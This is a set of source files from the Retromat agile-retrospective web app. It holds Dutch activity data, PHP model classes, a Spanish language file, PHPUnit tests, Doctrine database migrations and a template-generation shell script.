summary: "Iedere deelnemer vertelt een verhaal over de laatste iteratie dat bepaalde woorden bevat",
desc: "Geef iedereen iets om hun verhaal op te schrijven. Introduceer daarna de vormende woorden, \
die het te schrijven verhaal beïnvloeden: \
<ul> \
<li>Als de laatste iteratie beter geweest kon zijn:<br> \
Geef een aantal vormende woorden, zoals 'boos, verdrietig, blij' of 'houden, laten vallen, toevoegen'. \
Daarnaast moet het verhaal in de eerste persoon geschreven worden. Dit voorkomt dat er met vingers gewezen wordt. \
</li> \
<li>Als de laatste iteratie succesvol was:<br> \
Het team mag ofwel hun eigen set woorden uitkiezen, of je kunt een aantal random woorden voorstellen \
om de creativiteit van het team te ontketenen. \
</li> \
</ul> \
Iedere deelnemer schrijft nu een verhaal van niet meer dan 100 woorden over de laatste iteratie. Ze moeten de vormende \
woorden ten minste een keer gebruiken. Zet een timebox van 5-10 minuten. <br> \
Zodra iedereen klaar is, worden de verhalen voorgelezen. Bespreek naderhand de gemeenschappelijke thema's van de verhalen.",
source: "<a href='https://medium.com/p/agile-retrospective-technique-1-7cac5cb4302a'><NAME></a>",
duration: "20-30 minutes",
suitable: "iteration, project, release"
};
all_activities[93] = {
phase: 2,
name: "BJESM - Bouw je eigen Scrum Master",
summary: "Het team stelt de ideale SM samen \& neemt verschilende standpunten in",
desc: "Teken een Scrum Master op een flipchart met drie secties: hersenen, hart, buik. \
<ul>\
<li>Ronde 1: 'Welke eigenschappen vertoont de perfecte SM?' <br>\
Vraag iedereen om elk van de eigenschappen op een stickie te schrijven. Laat de deelnemers de eigenschappen uitleggen en op de tekening plakken. \
</li> \
<li>Ronde 2: 'Wat moet de perfecte SM weten over jullie als team zodat hij goed met jullie kan werken?' \
</li>\
<li>Ronde 3: 'Hoe kunnen jullie de SM ondersteunen om zijn werk uitmuntend te verrichten?' <br> \
</li></ul>\
Je kunt dit ook aanpassen voor andere rollen zoals de ProductOwner.",
source: "<a href='http://agile-fab.com/2014/10/07/die-byosm-retrospektive/'><NAME></a>",
duration: "30 minutes",
suitable: "iteration, project, release"
};
all_activities[94] = {
phase: 2,
name: "<NAME>",
summary: "Wat kunnen subgroepen verbeteren in hun interacties met anderen?",
desc: "Identificeer subgroepen onder de deelnemers die tijdens de iteratie interacties met elkaar hadden, \
bijvoorbeeld ontwikkelaars/testers, klanten/leveranciers, PO/ontwikkelaars, etc. \
Geef de deelnemers drie minuten om in stilte op te schrijven wat hun groep deed dat een negatieve impact \
op een andere groep had. Iedere persoon mag maar deelnemer van 1 groep zijn, en stickies schrijven voor alle groepen \
waar ze geen deel van uitmaken - 1 stickie per onderwerp. <br><br> \
Vervolgens lezen alle deelnemers hun stickies een voor een voor en geven die aan de juiste groep. \
De groep in kwestie beoordeelt het onderwerp van 0 ('Geen probleem') tot 5 ('Groot probleem'). \
Op deze manier krijg je inzicht en gedeeld begrip over de problemen en kun je er een aantal uitzoeken om aan te werken.",
source: "<a href='http://www.elproximopaso.net/2011/10/dinamica-de-retrospectiva-si-fuera-vos.html'>Thomas Wallet</a>",
duration: "25-40 minutes",
suitable: "iteration, project, release"
};
all_activities[95] = {
phase: 3,
name: "Probleemoplossingboom",
summary: "Heb je een groot doel? Zoek de stappen die er naar toe leiden",
desc: "Deel stickies en stiften uit. Schrijf het grote probleem dat je \
op wilt lossen op een notitie en hang het boven aan de muur of een groot bord. \
Vraag de deelnemers ideeën op te schrijven waarmee zij denken het probleem op te kunnen lossen. \
Hang deze op een niveau onder het originele probleem. Herhaal dit voor iedere notitie op het nieuwe niveau. \
Vraag voor ieder idee of het in een enkele iteratie uitgevoerd kan worden en of iedereen begrijpt wat \
er gebeuren moet. Als het antwoord nee is, breek het probleem dan op op het volgende niveau van de \
probleemoplossingboom.<br><br> \
Zodra de lagere niveaus goed begrepen en simpel te implementeren zijn in een enkele sprint, \
ga je stemmen met stippen (dotvoting) om te beslissen welke acties de volgende sprint aangepakt gaan worden. ",
source: "<a href='https://www.scrumalliance.org/community/profile/bsarni'><NAME></a>, beschreven door <a href='http://growingagile.co.za/2012/01/the-problem-solving-tree-a-free-exercise/'><NAME></a>",
duration: "30 minutes",
suitable: "iteration, project, release"
};
all_activities[96] = {
phase: 1,
name: "#tweetmijnsprint",
summary: "Produceer de twitter tijdlijn van het team voor deze iteratie",
desc: "Vraag de deelnemers om 3 of meer tweets op een stickie te schrijven over de iteratie die niet afgerond is. \
Tweets mogen over de gehele iteratie gaan, over individuele stories, een klacht of een schaamteloze zelf-promotie bevatten, \
- zo lang ze maar kort zijn. Hash tags, emoticons, bijgevoegde foto's, @usernames, alles is toegestaan. \
Geef tien minuten om de tweets te schrijven, en hang ze dan op volgorde in de tijdslijn en bespreek de thema's, trends etc. \
Vraag nu de deelnemers om hun favoriete tweets te retweeten en om antwoorden op de tweets te schrijven. Volg dit wederom op met een discussie.",
source: "<a href='http://wordaligned.org'><NAME></a>",
durationDetail: "40 minutes for 2 week iteration with team of 6",
duration: "Medium",
stage: "All",
suitable: "iteration, project"
};
all_activities[97] = {
phase: 1,
name: "Wasdag",
summary: "Welke dingen waren duidelijk en voelen goed, en welke dingen waren vaag en impliciet?",
desc: "Gebruik deze activiteit als je vermoedt dat het team veel onbewuste besluiten maakt en bijna nooit ergens vragen over stellen. \
Hiermee kun je er achter komen welke dingen besproken moeten worden om er expliciet grip op te krijgen. \
<br><br> \
Je hebt nodig: \
<ul> \
<li> ongeveer 3 meter touw als waslijn</li> \
<li> ongeveer 20 knijpers</li> \
<li> een wit shirt (uit papier geknipt)</li> \
<li> een vuile broek (uit papier geknipt)</li> \
</ul> \
Hang de waslijn op en markeer het midden, bijvoorbeeld met een lintje. \
Hang het schone shirt aan de ene kant en de vuile broek aan de andere kant. \
Vraag het team om items op indexkaartjes te schrijven voor beide categorieen. \
Hang de notities op met de knijpers en verhang ze daarna in clusters. \
Laat het team nu 2 'vuilen' en 2 'schone' onderwerpen kiezen die ze willen bespreken, bijvoorbeeld door te stemmen met stippen (dotvoting).",
source: "<a href='https://www.xing.com/profile/KatrinElise_Dreyer'><NAME></a>",
durationDetail: "10 minutes",
duration: "Short",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[98] = {
phase: 3,
name: "Planningspoker Stemmen",
summary: "Gebruik je Planningspoker kaarten om onbeinvloed te stemmen",
desc: "Als je een aantal zeer invloedrijke en/of verlegen teamleden hebt, dan kun je planningspokerkaarten gebruike om simultaan te stemmen: \
<br><br> \
Schrijf alle voorgestelde acties op stickies en hang ze op de muur. Deel een gesorteerde set \
planningspokerkaarten uit aan iedere deelnemer. Tel de voorstellen en verwijder dat aantal kaarten uit de set. \
Als je 5 voorstellen hebt, dan krijgt iedereen dus de kaarten '1', '2', '3', '5', and '8'. (afhankelijk van je kaartenset natuurlijk, \
sommige hebben bijvoorbeeld ook een '1/2' kaart). Het maakt niet uit, zolang alle deelnemers maar dezelfde kaarten hebben. \
<br><br> \
Leg de regels uit: Kies een kaart voor iedere suggestie. Kies een lage waarde als je de actie niet de moeite van het uitvoeren waard vindt. \
Kies een hoge waarde als de actie meteen in de volgende iteratie uitgevoerd moet worden. \
<br><br> \
Geef iedereen een minuut om de sortering te bedenken en behandel dan de eerste suggestie. \
Iedereen kiest een kaart en toont die tegelijkertijd. \
Tel de getallen van alle kaarten bij elkaar op en schrijf de som op de actie. \
Verwijder de gebruikte pokerkaarten. Herhaal dit voor alle acties. \
Als er meer acties dan pokerkaarten zijn, dan kunnen de deelnemers 'geen kaart' (met waarde 0) het toepasselijk aantal keren laten zien. \
<br><br> \
Voer de actie met de hoogste waarde in de volgende iteratie uit. Voeg alleen meer acties toe als het hele team het daar mee eens is.",
source: "<a href='https://www.xing.com/profile/Andreas_Ratsch'><NAME></a>",
durationDetail: "15 minutes",
duration: "Medium",
stage: "All",
suitable: "iteration, project, release"
};
all_activities[99] = {
phase: 3,
name: "Landschapsdiagram",
summary: "Beoordeel acties gebaseerd op hoe duidelijk zijn en maak daar een keuze uit",
desc: "Deze activiteit is nuttig als het team een set onduidelijke, wijzigende, onzekere of complexe problemen tegenkomt \
en veel voorgestelde acties heeft om uit te kiezen. \
<br><br> \
Teken een <a href='http://wiki.hsdinstitute.org/landscape_diagram'>Landschapsdiagram</a>, m.a.w. een x-as gelabeld 'zekerheid over aanpak' \
en een y-as gelabeld 'Eenstemming over issue' Beide gaan van laag in de oorsprong tot hoog in de rechterbovenhoek. \
Bepaal voor ieder item waar in de grafiek het thuishoort. 'Hoe eens zijn we het erover dat als we dit probleem oplossen dat het een positieve invloed heeft? \
Hoe zeker zijn we over de eerste stappen naar een oplossing? \
<br> \
Zodra alle acties geplaatst zijn, bespreek je kort de 'kaart' die je gecreëerd hebt. Welke acties leveren het grootste voordeel op in de volgende iteratie? \
Welke zijn meer voor de lange termijn? \
<br><br> \
Kies 2 acties uit de simpel/eenduidige deel van de kaart of 1 actie uit het complexe gebied.",
source: "<a href='http://www.futureworksconsulting.com/who-we-are/diana-larsen'><NAME></a> adapted it from <a href='http://wiki.hsdinstitute.org'>Human Systems Dynamics Institute</a>",
durationDetail: "25 minutes",
duration: "Medium",
stage: "Forming, Storming, Norming",
suitable: "iteration, project, release"
};
all_activities[100] = {
phase: 4,
name: "<NAME>",
summary: "Zegen de komende iteratie met al je goede wensen",
desc: "Ga in een cirkel staan. Leg uit dat je alle goede wensen voor de volgende iteratie veramelt, waarbij je voortborduurt op elkaar's wensen. \
Als je dit voor de eerste keer doet, begin dan door zelf de eerste wens te geven. Ga dan de kring rond om daar wensen aan toe te voegen. \
Sla de mensen over die niets kunnen bedenken. Zodra je vaart mindert, vraag dan om de volgende wens en begin de ronde opnieuw. \
Ga net zo lang door totdat niemand meer een wens kan bedenken. <br><br>\
Voorbeeld:<br>\
Begin met 'Mogen we alle stories in de volgende iteratie afmaken.' Je buur voegt daar dan aan toe 'en mogen ze onze klanten verblijden'. \
Hun buur wenst vervolgens 'en dat we maar al onze features automatisch mogen testen'. En zo voort, tot niemand meer ideeën heeft om hier aan toe te voegen.<br> \
Dan begint iemand de volgende ronde, bijvoorbeeld met 'Mogen we maar prachtige code schrijven in de volgende iteratie'.",
source: "<a href='http://www.deepfun.com/bernie/'><NAME></a> via <a href='http://www.futureworksconsulting.com/who-we-are/diana-larsen'><NAME></a>",
duration: "Short",
stage: "Norming, Performing, Adjourning",
suitable: "iteration, project, release"
};
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Sitemap;
use Presta\SitemapBundle\Service\UrlContainerInterface;
use Presta\SitemapBundle\Sitemap\Url\UrlConcrete;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
class PlanUrlGenerator
{
private const DEFAULT_LOCALE = 'en';
private PlanIdGenerator $planIdGenerator;
private UrlGeneratorInterface $urlGenerator;
private UrlContainerInterface $urlContainer;
/**
* @param UrlGeneratorInterface $urlGenerator
* @param PlanIdGenerator $planIdGenerator
*/
public function __construct(UrlGeneratorInterface $urlGenerator, PlanIdGenerator $planIdGenerator)
{
$this->urlGenerator = $urlGenerator;
$this->planIdGenerator = $planIdGenerator;
}
/**
* @param UrlContainerInterface $urlContainer
*/
public function generatePlanUrls(UrlContainerInterface $urlContainer)
{
// Maybe move urlContainer and addToUrlContainer() to a separate collector object later.
$this->urlContainer = $urlContainer;
$this->planIdGenerator->generate([$this, 'addToUrlContainer']);
}
/**
* @param string $id
* Maybe move urlContainer and addToUrlContainer() to a separate collector object later.
*/
public function addToUrlContainer(string $id)
{
$this->urlContainer->addUrl(
new UrlConcrete(
$this->urlGenerator->generate(
'activities_by_id',
[
'id' => $id,
'_locale' => self::DEFAULT_LOCALE,
],
UrlGeneratorInterface::ABSOLUTE_URL
)
),
'plan'
);
}
}
<file_sep><?php
namespace App\Model\User\Model;
use App\Model\User\Exception\InvalidUserResetPasswordTokenException;
use DateTimeInterface;
final class UserResetPasswordToken
{
private string|null $token;
/**
* @param string $token
* @param DateTimeInterface $expiresAt
*/
public function __construct(string $token, \DateTimeInterface $expiresAt)
{
$this->token = $token;
}
/**
* @return string
* @throws InvalidUserResetPasswordTokenException
*/
public function getToken(): string
{
if (null === $this->token) {
throw new InvalidUserResetPasswordTokenException();
}
return $this->token;
}
/**
* @return self
*/
public function flushToken(): self
{
$this->token = null;
return $this;
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Model\Activity\Expander;
use App\Entity\Activity;
final class ActivityExpander
{
private array $sources = [];
public function __construct(array $sources)
{
$this->sources = $sources;
}
public function expandSource(Activity $activity): void
{
$activity->setSource($this->pruneSourceString($activity->getSource()));
}
private function pruneSourceString(string $source): string
{
$source = \str_replace([' + "', '" + '], '', $source);
$source = \str_replace('"', '', $source);
$source = \str_replace(["='", "'>"], ['="', '">'], $source);
$source = \str_replace(\array_keys($this->sources), $this->sources, $source);
return $source;
}
}
<file_sep><?php
$_lang['HTML_TITLE'] = 'Inspiración & planes para retrospectivas (ágiles)';
$_lang['INDEX_PITCH'] = '¿Estás planificando tu próxima <b>retrospectiva</b>? Empieza con un plan aleatorio, modifícalo, imprímelo y comparte su URL. O simplemente navega en búsqueda de nuevas ideas.';
$_lang['INDEX_PLAN_ID'] = 'IDs:';
$_lang['INDEX_BUTTON_SHOW'] = 'Mostrar';
$_lang['INDEX_RANDOM_RETRO'] = 'Nuevo plan de retrospectiva aleatorio';
$_lang['INDEX_SEARCH_KEYWORD'] = 'Buscar actividades por ID o palabra clave';
$_lang['INDEX_ALL_ACTIVITIES'] = 'Todas las actividades para';
$_lang['INDEX_LOADING'] = '... LOADING ACTIVITIES ...';
$_lang['INDEX_NAVI_WHAT_IS_RETRO'] = '<a href="http://thomaswallet.blogspot.com.ar/2014/10/que-es-una-retrospectiva.html">¿Qué es una retrospectiva?</a>';
$_lang['INDEX_NAVI_ABOUT'] = '<a href="http://thomaswallet.blogspot.com.ar/2014/09/retr-o-mat-en-espanol.html">Sobre Retromat</a>';
$_lang['INDEX_NAVI_PRINT'] = '<a href="/en/print">Print Edition</a>';
$_lang['INDEX_NAVI_ADD_ACTIVITY'] = '<a href="https://docs.google.com/a/finding-marbles.com/spreadsheet/viewform?formkey=<KEY>">Add activity</a>';
$_lang['INDEX_ABOUT'] = 'Retromat contiene <span class="js_footer_no_of_activities"></span> actividades, permitiendo generar <span class="js_footer_no_of_combinations"></span> combinaciones (<span class="js_footer_no_of_combinations_formula"></span>) y estamos continuamente agregando más.'; // ¿Conoces una buena actividad?
$_lang['INDEX_ABOUT_SUGGEST'] = '¡Proponla';
$_lang['INDEX_TEAM_TRANSLATOR_TITLE'] = 'Traducido por ';
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][0] = 'Thomas Wallet';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][0] = 'http://thomaswallet.blogspot.com.ar';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][0] = '/static/images/team/thomas_wallet.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][0] = <<<EOT
Trabajador ágil pragmático. Enfermo de las retrospectivas. Puede <a href="https://twitter.com/WalletThomas">seguirlo en Twitter</a>.
<br><br><br><br>
EOT;
$_lang['INDEX_TEAM_TRANSLATOR_NAME'][1] = '<NAME>';
$_lang['INDEX_TEAM_TRANSLATOR_LINK'][1] = 'https://twitter.com/pedroserranot';
$_lang['INDEX_TEAM_TRANSLATOR_IMAGE'][1] = '/static/images/team/pedro_angel_serrano.jpg';
$_lang['INDEX_TEAM_TRANSLATOR_TEXT'][1] = <<<EOT
Agile Believer y Agente de Cambio, apasionado de las metodologías ágiles (CSM, PSM y ACP). Puede <a href="https://twitter.com/Pedroserranot">seguirlo en Twitter</a>.
<br> <br>
Agradecimientos a <NAME>, <NAME>, <NAME>, <NAME>, <NAME>, <NAME> y José Marí<NAME>ázquez.
EOT;
$_lang['INDEX_TEAM_CORINNA_TITLE'] = 'Creado por ';
$_lang['INDEX_TEAM_CORINNA_TEXT'] = $_lang['INDEX_MINI_TEAM'] = <<<EOT
Corinna echó en falta algo como Retromat en sus años de Scrummaster.
Finalmente lo desarrolló ella misma, esperando que también sea de utilidad para otros.
¿Preguntas, sugerencias o aliento?
Puede <a href="mailto:<EMAIL>">escribirle</a> o <a href="https://twitter.com/corinnabaldauf">seguirla en Twitter</a>.
EOT;
$_lang['INDEX_TEAM_TIMON_TITLE'] = 'Co-developed by ';
$_lang['INDEX_TEAM_TIMON_TEXT'] = <<<EOT
Tanto como Desarrollador, Product Owner, Scrum Master y <a href="/en/team/timon">Agile Coach</a>, Timon ha sido usuario y fan de Retromat durante más de tres años. Se le ocurrieron bastantes ideas al respecto y en 2016 comenzó a desarrollar él mismo algunas de ellas. Puedes <a href="mailto:<EMAIL>">mandarle un email</a> o
<a href="https://twitter.com/TimonFiddike">seguirle en Twitter</a>.
EOT;
$_lang['PRINT_HEADER'] = '(retromat.org)';
$_lang['ACTIVITY_SOURCE'] = 'Origen:';
$_lang['ACTIVITY_PREV'] = 'Mostrar otra actividad para esta fase';
$_lang['ACTIVITY_NEXT'] = 'Mostrar otra actividad para esta fase';
$_lang['ACTIVITY_PHOTO_ADD'] = 'Agregar foto';
$_lang['ACTIVITY_PHOTO_MAIL_SUBJECT'] = 'Fotos%20para%20Actividad%3A%20ID';
$_lang['ACTIVITY_PHOTO_MAIL_BODY'] = 'Hola%20Corinna%21%0D%0A%0D%0A[%20]%20Se%20adjuntan%20fotos%0D%0A[%20]%20Las%20fotos%20estan%20online%20aqui%3A%20%0D%0A%0D%0AAtt.%2C%0D%0ATu%20Nombre';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTO'] = 'Ver foto';
$_lang['ACTIVITY_PHOTO_VIEW_PHOTOS'] = 'Ver fotos';
$_lang['ACTIVITY_PHOTO_BY'] = 'Foto por ';
$_lang['ERROR_NO_SCRIPT'] = 'Retromat se apoya fuertemente sobre Javascript y no puede funcionar sin el. Por favor habilitalo en tu navegador. ¡Gracias!';
$_lang['ERROR_MISSING_ACTIVITY'] = 'Disculpa, no se encuentra actividad con el ID';
$_lang['POPUP_CLOSE'] = 'Cerrar';
$_lang['POPUP_IDS_BUTTON'] = 'Mostrar';
$_lang['POPUP_IDS_INFO']= 'Ejemplo ID: 3-33-20-13-45';
$_lang['POPUP_SEARCH_BUTTON'] = 'Buscar';
$_lang['POPUP_SEARCH_INFO']= 'Buscar en títulos, resúmenes & descripciones';
$_lang['POPUP_SEARCH_NO_RESULTS'] = 'Disculpa, no se encontró nada para';<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Controller\DataFixtures;
use Doctrine\Bundle\FixturesBundle\Fixture;
use Doctrine\Persistence\ObjectManager;
use Symfony\Component\DependencyInjection\ContainerAwareInterface;
use Symfony\Component\DependencyInjection\ContainerInterface;
class LoadActivityData extends Fixture implements ContainerAwareInterface
{
/**
* @var ContainerInterface
*/
private $container;
public function setContainer(ContainerInterface $container = null)
{
$this->container = $container;
}
public function load(ObjectManager $manager)
{
$this->container->get('App\Model\Importer\Activity\ActivityImporter')->import();
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Plan;
use App\Entity\Activity;
use App\Model\Plan\DescriptionRenderer;
use PHPUnit\Framework\TestCase;
class DescriptionRendererTest extends TestCase
{
public function testRenderEmptyDescriptionUnless5Activities()
{
$renderer = new DescriptionRenderer();
$activities = [];
$this->assertEmpty($renderer->render($activities));
$activities[] = new Activity();
$activities[] = new Activity();
$activities[] = new Activity();
$activities[] = new Activity();
$this->assertEmpty($renderer->render($activities));
$activities[] = new Activity();
$activities[] = new Activity();
$this->assertEmpty($renderer->render($activities));
}
public function testRender()
{
$renderer = new DescriptionRenderer();
$activities[0] = (new Activity())->setRetromatId(1);
$activity1 = new Activity();
$activity1->setRetromatId(4)->setSummary(
'Participants write down significant events and order them chronologically'
);
$activities[1] = $activity1;
$activity2 = new Activity();
$activity2->setRetromatId(8)->setSummary(
'Drill down to the root cause of problems by repeatedly asking \'Why?\''
);
$activities[2] = $activity2;
$activities[3] = (new Activity())->setRetromatId(11);
$activities[4] = (new Activity())->setRetromatId(14);
$this->assertEquals(
'1, 4: Participants write down significant events and order them chronologically, 8: Drill down to the root cause of problems by repeatedly asking \'Why?\', 11, 14',
$renderer->render($activities)
);
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
final class Version20170228201708 extends AbstractMigration
{
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('CREATE TABLE plan (language CHAR(2) NOT NULL, retromatId VARCHAR(255) NOT NULL, titleId VARCHAR(255) NOT NULL, PRIMARY KEY(retromatId, language)) DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE = InnoDB');
}
/**
* @param Schema $schema
* @throws \Doctrine\DBAL\Exception
*/
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.');
$this->addSql('DROP TABLE plan');
}
}
<file_sep><?php
declare(strict_types=1);
namespace App\Tests\Plan;
use App\Model\Plan\Exception\InconsistentInputException;
use App\Model\Plan\TitleIdGenerator;
use PHPUnit\Framework\TestCase;
use Symfony\Component\Yaml\Yaml;
class TitleIdGeneratorTest extends TestCase
{
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInSequenceSingle()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(1, $generator->countCombinationsInSequence(0));
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInSequenceSingleDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(1, $generator->countCombinationsInSequence(0, 'de'));
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInSequenceMultiple()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(2, $generator->countCombinationsInSequence(0));
$this->assertEquals(4, $generator->countCombinationsInSequence(1));
$this->assertEquals(8, $generator->countCombinationsInSequence(2));
$this->assertEquals(16, $generator->countCombinationsInSequence(3));
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInSequenceMultipleDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
de:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(2, $generator->countCombinationsInSequence(0, 'de'));
$this->assertEquals(4, $generator->countCombinationsInSequence(1, 'de'));
$this->assertEquals(8, $generator->countCombinationsInSequence(2, 'de'));
$this->assertEquals(16, $generator->countCombinationsInSequence(3, 'de'));
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInAllSequencesTwo()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(2, $generator->countCombinationsInAllSequences());
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInAllSequencesTwoDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
de:
sequence_of_groups:
0: [0, 1]
1: [1, 2]
groups_of_terms:
0: [Agile]
1: [Retrospective]
2: [Plan]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(2, $generator->countCombinationsInAllSequences('de'));
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInAllSequencesMany()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(30, $generator->countCombinationsInAllSequences());
}
/**
* @throws InconsistentInputException
*/
public function testCountCombinationsInAllSequencesManyDe()
{
$yaml = <<<YAML
en:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
de:
sequence_of_groups:
0: [0, 1]
1: [0, 1, 2]
2: [2, 3, 4]
3: [0, 1, 2, 3, 4]
groups_of_terms:
0: [Agile, Scrum]
1: [Retrospective]
2: [Plan, Agenda]
3: [Number]
4: [1-2-3-4-5, 6-7-8-9-10, 11-12-13-14-15, 16-17-17-19-20]
YAML;
$titleParts = Yaml::parse($yaml);
$generator = new TitleIdGenerator($titleParts);
$this->assertEquals(30, $generator->countCombinationsInAllSequences('de'));
}
}
<file_sep><?php
declare(strict_types=1);
namespace DoctrineMigrations;
use Doctrine\DBAL\Schema\Schema;
use Doctrine\Migrations\AbstractMigration;
/**
* Auto-generated Migration: Please modify to your needs!
*/
final class Version20220520192007 extends AbstractMigration
{
public function getDescription(): string
{
return '';
}
public function up(Schema $schema): void
{
// this up() migration is auto-generated, please modify it to your needs
$this->addSql('DROP INDEX uniq_91c772eea9a6c442 ON activity');
$this->addSql('CREATE UNIQUE INDEX UNIQ_AC74095AA9A6C442 ON activity (retromat_id)');
$this->addSql('ALTER TABLE activity_translation DROP FOREIGN KEY FK_C1A42852C2AC5D3');
$this->addSql('ALTER TABLE activity_translation CHANGE locale locale VARCHAR(5) NOT NULL');
$this->addSql('DROP INDEX idx_c1a42852c2ac5d3 ON activity_translation');
$this->addSql('CREATE INDEX IDX_BAE72F632C2AC5D3 ON activity_translation (translatable_id)');
$this->addSql('DROP INDEX activity2translation_unique_translation ON activity_translation');
$this->addSql('CREATE UNIQUE INDEX activity_translation_unique_translation ON activity_translation (translatable_id, locale)');
$this->addSql('ALTER TABLE activity_translation ADD CONSTRAINT FK_C1A42852C2AC5D3 FOREIGN KEY (translatable_id) REFERENCES activity (id) ON DELETE CASCADE');
$this->addSql('ALTER TABLE user ADD confirmation_token VARCHAR(180) DEFAULT NULL, ADD password_requested_at DATETIME DEFAULT NULL');
$this->addSql('CREATE UNIQUE INDEX UNIQ_8D93D649C05FB297 ON user (confirmation_token)');
}
public function down(Schema $schema): void
{
// this down() migration is auto-generated, please modify it to your needs
$this->addSql('DROP INDEX uniq_ac74095aa9a6c442 ON activity');
$this->addSql('CREATE UNIQUE INDEX UNIQ_91C772EEA9A6C442 ON activity (retromat_id)');
$this->addSql('ALTER TABLE activity_translation DROP FOREIGN KEY FK_BAE72F632C2AC5D3');
$this->addSql('ALTER TABLE activity_translation CHANGE locale locale VARCHAR(255) NOT NULL');
$this->addSql('DROP INDEX idx_bae72f632c2ac5d3 ON activity_translation');
$this->addSql('CREATE INDEX IDX_C1A42852C2AC5D3 ON activity_translation (translatable_id)');
$this->addSql('DROP INDEX activity_translation_unique_translation ON activity_translation');
$this->addSql('CREATE UNIQUE INDEX activity2translation_unique_translation ON activity_translation (translatable_id, locale)');
$this->addSql('ALTER TABLE activity_translation ADD CONSTRAINT FK_BAE72F632C2AC5D3 FOREIGN KEY (translatable_id) REFERENCES activity (id) ON DELETE CASCADE');
$this->addSql('DROP INDEX UNIQ_8D93D649C05FB297 ON user');
$this->addSql('ALTER TABLE user DROP confirmation_token, DROP password_requested_at');
}
}
<file_sep>#!/bin/bash
# How to:
# Execute this comand from the toplevel directory of your Retromat repository,
# which is where index.php is currently located.
# Background:
# No cd ... or absolute paths here, because
# this command needs to work on local machines and on travis-ci, too.
php index.php en twig ajax > backend/templates/home/generated/index_en.html.twig
php index.php de twig ajax > backend/templates/home/generated/index_de.html.twig
php index.php es html ajax > backend/templates/home/generated/index_es.html.twig
php index.php fa html ajax > backend/templates/home/generated/index_fa.html.twig
